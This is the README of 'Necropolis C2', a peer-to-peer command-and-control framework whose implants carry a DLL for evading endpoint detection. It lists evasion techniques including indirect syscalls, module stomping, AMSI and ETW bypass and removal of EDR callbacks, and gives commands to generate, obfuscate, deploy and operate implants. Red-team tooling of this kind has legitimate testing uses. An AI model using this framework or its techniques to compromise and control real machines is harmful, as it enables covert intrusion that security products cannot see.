# Necropolis C2

![Necropolis C2](NecroPolisC2.png)

A decentralised C2 framework built on **libp2p** (the protocol behind IPFS). No central server to take down. The operator is just another peer on the network. Implants find it via DHT or poll a DHT dead-drop for commands. Any node can relay traffic for any other node.

Necropolis started as a fork of [Arachne C2](https://github.com/portbuster1337/ArachneC2). Arachne nailed the networking side: libp2p, DHT, relays, and no single point of failure. What it lacked was solid implant-side evasion. The original Go implants called standard Win32 APIs that any EDR could easily hook.

Necropolis keeps the libp2p networking foundation and adds a Zig DLL embedded in each implant for kernel-level evasion. Every implant now runs the relay service too. Implants advertise themselves as relays in the DHT, discover each other, and route through other implants via circuit relay when they can't reach the operator directly. GossipSub handles message caching for offline nodes, and there's a dead man switch for resilience.

Same core architecture as Arachne, but now the implant is much harder to detect and the mesh routes around connectivity problems.

Read the full write-up: [Necropolis C2: Decentralised Command and Control Mesh Network](https://medium.com/@lewisgames1995/necropolis-c2-decentralised-command-and-control-mesh-network-f26163ce66dc?postPublishedType=repub)

### Why Zig for the Evasion DLL

The evasion code runs as a Zig DLL inside the Go implant. Go has a runtime (garbage collector, goroutine scheduler, stack management) that fights you when you mess with executable memory, make raw kernel calls, or manipulate the stack. You can't easily encrypt the .text section during sleep because the runtime needs to scan it.

Zig has no runtime at all. It loads into memory, does exactly what you tell it, and gets out of the way. No GC, no scheduler, no hidden threads. This lets you scan ntdll for syscall numbers, use syscall;ret gadgets, encrypt code sections during sleep, and run raw assembly.

The Go side handles networking, cross-platform stuff, file operations, and everything that doesn't touch the kernel directly. The Zig DLL handles the kernel work. It loads from memory at runtime. If it fails, the implant runs without evasion.

### Evasion Techniques

The Zig DLL handles kernel-level work:

- **Syscall resolution**: FreshyCalls sorts ntdll's Nt* exports by RVA and assigns SSN based on position. This stays immune to inline hooks. HAL's Gate falls back to the exception directory for forwarded exports.
- **Indirect syscalls**: Every call goes through a random syscall;ret gadget inside ntdll.
- **Module stomping**: After reflective loading, the DLL stomps its .text into a signed Microsoft DLL (like CryptoAPI.dll or dwrite.dll), wipes its PE headers, but keeps the original memory allocation.
- **Sleep obfuscation**: Sets the .text section to PAGE_NOACCESS during idle periods. Restores protection on wake. Simple, effective, and doesn't break the Go runtime.
- **AMSI bypass**: Hardware breakpoint on AmsiScanBuffer via VEH. Sets return value to clean without modifying memory.
- **ETW suppression**: Three-tier fallback (NtTraceControl → HWBP → RET patch on EtwEventWrite).
- **EDR callback removal**: NtSetInformationProcess for ProcessInstrumentationCallback, with CFG-aware workaround using a jmp r10 gadget in ntdll.

### Project Structure

```
necropolis-c2/
├── build.sh                # Build script (auto-installs Go + Zig if needed)
├── bin/                    # Compiled binaries
├── cmd/
│   └── necropolis/         # Main entry point (operator + generator)
├── docs/                   # Design docs
├── evasion/                # Zig DLL source
│   └── arch/               # Assembly for syscall dispatch
├── implant/                # Implant agent code
├── pkg/
│   ├── config/
│   ├── cryptography/
│   └── transport/
├── protobuf/               # Protocol definitions
└── server/                 # Operator logic and CLI
```

### Build

Run the build script. It handles dependencies and cross-compiles:

```bash
./build.sh
```

Binaries go to `bin/necropolis-{os}-{arch}` (with `.exe` on Windows).

### Quick Start

**1. Run the operator**

```bash
./bin/necropolis
```

It generates your keypair on first run.

**2. Generate an implant**

```bash
./bin/necropolis generate --os windows --arch amd64 --output ./implant --evasion --obfuscate
```

Use `--evasion` to embed the full Zig DLL.

**3. Deploy the implant**

```bash
./implant                                 # Full DHT discovery + dead-drop
./implant -peer /ip4/.../p2p/12D3...      # Direct connection
```

**4. Use the console**

```
necropolis> list
necropolis> select 0
necropolis[user@hostname]> exec whoami
```

Commands include `exec`, `shell`, `ps`, `ls`, `portfwd`, `socks`, `deadman`, `download`, `upload`, and more.

### Security

- Ed25519 signatures on all messages
- Implants embed the operator's public key at build time
- Bidirectional NaCl box encryption
- Per-implant keypairs for identity
- Auth tokens to prevent injection
- Relay nodes only see encrypted traffic

### References

- **FreshyCalls / RecycledGate** — RVA-sorted SSN extraction (immune to inline hooks)
  https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/
- **Hell's Gate / HAL's Gate** — Export directory walk + exception directory fallback
  https://github.com/am0nsec/HellsGate
- **Indirect Syscalls** — SysWhispers style syscall;ret gadgets
  https://github.com/jthuraisamy/SysWhispers
- **Module Stomping** — Hiding in signed Microsoft DLLs
  https://dtsec.us/2023-11-04-ModuleStompin/
  https://infosecwriteups.com/an-introduction-to-module-stomping-26238af76d43
- **AMSI / ETW Hardware Breakpoint Bypass**
  https://github.com/FortisecValidation/Micro-Stager
- **Instrumentation Callback (CFG workaround)**
  https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/
- **Arachne C2** (original project)
  https://github.com/portbuster1337/ArachneC2
- **libp2p docs**
  https://libp2p.io/docs/

### Disclaimer

This tool is for educational purposes and authorised security testing only. Only use it on systems you own or have explicit permission to test. Unauthorised use is illegal. Use at your own risk.

### License

GPLv3
